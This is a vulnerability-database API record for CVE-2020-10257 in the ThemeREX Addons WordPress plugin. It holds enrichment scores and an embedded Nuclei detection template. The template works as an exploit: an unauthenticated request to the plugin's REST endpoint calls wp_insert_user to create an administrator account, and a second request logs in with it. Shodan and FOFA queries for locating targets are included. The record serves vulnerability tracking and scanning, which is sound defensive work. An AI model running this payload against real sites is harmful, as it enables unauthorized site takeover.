{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2020-10257/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2020-10257/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2020-10257/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2020-10257/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2020-10257/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2020-10257/enrichment"},"sightings":{"href":"/api/v1/sightings/cve-2020-10257"},"vulnerability":{"href":"/api/v1/vulnerability/cve-2020-10257"}},"enrichments":{"cisa-kev":{"kev":false},"epss":{"epss":0.08877,"kev":false,"percentile":0.95238},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2020/CVE-2020-10257.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2020-10257\n\ninfo:\n  name: ThemeREX Addons - Remote Code Execution\n  author: theamanrawat\n  severity: critical\n  description: |\n    ThemeREX Addons plugin before 2020-03-09 for WordPress contains an access control vulnerability in the /trx_addons/v2/get/sc_layout REST API endpoint, allowing any users to execute PHP functions because includes/plugin.rest-api.php calls trx_addons_rest_get_sc_layout with an unsafe sc parameter, letting attackers execute arbitrary PHP functions, exploit requires no authentication.\n  impact: |\n    Unauthenticated attackers can execute arbitrary PHP functions, potentially leading to remote code execution and full site compromise.\n  remediation: |\n    Update to version 2020-03-09 or later to fix access control issues.\n  reference:\n    - https://www.wordfence.com/blog/2020/03/zero-day-vulnerability-in-themerex-addons-now-patched/\n    - https://wpscan.com/vulnerability/4ed4e60e-5bbb-4010-a7fe-40eadd8dee64/\n    - https://nvd.nist.gov/vuln/detail/CVE-2020-10257\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2020-10257\n    epss-score: 0.08877\n    epss-percentile: 0.95238\n    cwe-id: CWE-94\n    cpe: cpe:2.3:a:themerex:addons:1.70.3:*:*:*:*:wordpress:*:*\n  metadata:\n    verified: true\n    product: themerex\n    framework: wordpress\n    shodan-query: 'http.html:trx_addons'\n    fofa-query: 'body=trx_addons'\n  tags: cve,cve2020,rce,wordpress,wp-plugin,wp,themerex,unauth,vkev,vuln\n\nvariables:\n  username: '{{rand_text_alpha(6)}}'\n  password: '{{rand_text_alpha(6)}}'\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET /wp-json/trx_addons/v2/get/sc_layout?sc=wp_insert_user&role=administrator&user_login={{username}}&user_pass={{password}} HTTP/1.1\n        Host: {{Hostname}}\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body, \"{\\\"data\\\":\")'\n          - 'status_code==200'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /wp-login.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        log={{username}}&pwd={{password}}&wp-submit=Log+In\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code==302'\n          - 'contains(header, \"wordpress_logged_in\")'\n        condition: and\n# digest: 490a004630440220407a078436bcdeb5654a94277df2b47babfe083827448edad9067cd2fed75d0c022049432b08ad3a4b2603e9d62254ab7f01bc8bfe2e460dc5918e4f0f96ae8c6bfd:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2020-10257"}